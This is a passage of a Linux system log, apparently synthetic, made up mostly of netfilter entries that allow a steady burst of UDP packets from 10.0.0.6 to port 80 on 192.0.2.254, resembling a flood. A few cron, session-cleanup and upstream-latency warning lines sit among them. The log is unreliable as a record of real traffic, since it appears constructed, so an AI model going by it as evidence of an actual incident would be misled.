SPT=33586 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23472 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10221 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48611 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33908 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12748 DPT=80 +Aug 16 18:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65011 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27731 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40836 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19793 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16381 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57198 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45102 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24237 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48992 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43082 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55557 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24328 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40030 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60132 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39797 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17699 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17659 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12233 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19881 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38115 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38336 DPT=80 +Aug 16 18:03:20 systemd[1]: Starting Clean php session files... +Aug 16 18:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20847 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49151 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63801 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48936 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20689 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51411 DPT=80 +Aug 16 18:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37556 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51116 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61954 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55316 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39425 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36854 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42118 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47391 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10981 DPT=80 +Aug 16 18:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31165 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53388 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31162 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13086 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50706 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24146 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49301 DPT=80 +Aug 16 18:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20349 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10848 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12282 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24597 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24534 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10527 DPT=80 +Aug 16 18:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18602 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=22165 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33572 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37852 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65053 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44726 DPT=80 +Aug 16 18:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15271 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65506 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13690 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60558 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61162 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56392 DPT=80 +Aug 16 18:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36287 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45001 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60142 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47048 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42564 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=59328 DPT=80 +Aug 16 18:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57742 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45670 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13879 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20534 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54853 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48343 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63041 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42656 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24569 DPT=80 +Aug 16 18:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20595 DPT=80 +Aug 16 18:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40233 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13933 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41357 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28065 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23378 DPT=80 +Aug 16 18:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56103 DPT=80 +Aug 16 18:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54739 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56220 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24091 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19282 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37673 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13002 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52713 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=64096 DPT=80 +Aug 16 18:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20652 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24657 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54132 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26012 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47862 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51112 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45603 DPT=80 +Aug 16 18:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37886 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63452 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37101 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33703 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13610 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31983 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29991 DPT=80 +Aug 16 18:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12037 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12282 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43230 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62580 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19340 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50439 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48912 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29429 DPT=80 +Aug 16 18:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25860 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10832 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58001 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=46054 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57704 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55566 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48500 DPT=80 +Aug 16 18:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23538 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55194 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36830 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25113 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14946 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23295 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19027 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25888 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63990 DPT=80 +Aug 16 18:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60413 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34348 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47459 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58043 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50051 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20001 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63208 DPT=80 +Aug 16 18:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28440 DPT=80 +Aug 16 18:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44301 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40657 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11206 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16071 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11069 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17933 DPT=80 +Aug 16 18:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25415 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43842 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15155 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60887 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=32858 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49319 DPT=80 +Aug 16 18:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13195 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13473 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17734 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19708 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56814 DPT=80 +Aug 16 18:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56738 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19163 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=59019 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11453 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39528 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44882 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60234 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38816 DPT=80 +Aug 16 18:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53010 DPT=80 +Aug 16 18:05:00 systemd[1]: Starting Clean php session files... +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=20038 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33151 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16515 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34750 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47539 DPT=80 +Aug 16 18:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21594 DPT=80 +Aug 16 18:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=30231 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44176 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61296 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45753 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41365 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36959 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34683 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33015 DPT=80 +Aug 16 18:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62500 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43878 DPT=80 +Aug 16 18:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16048 DPT=80 +Aug 16 18:05:10 kernel: 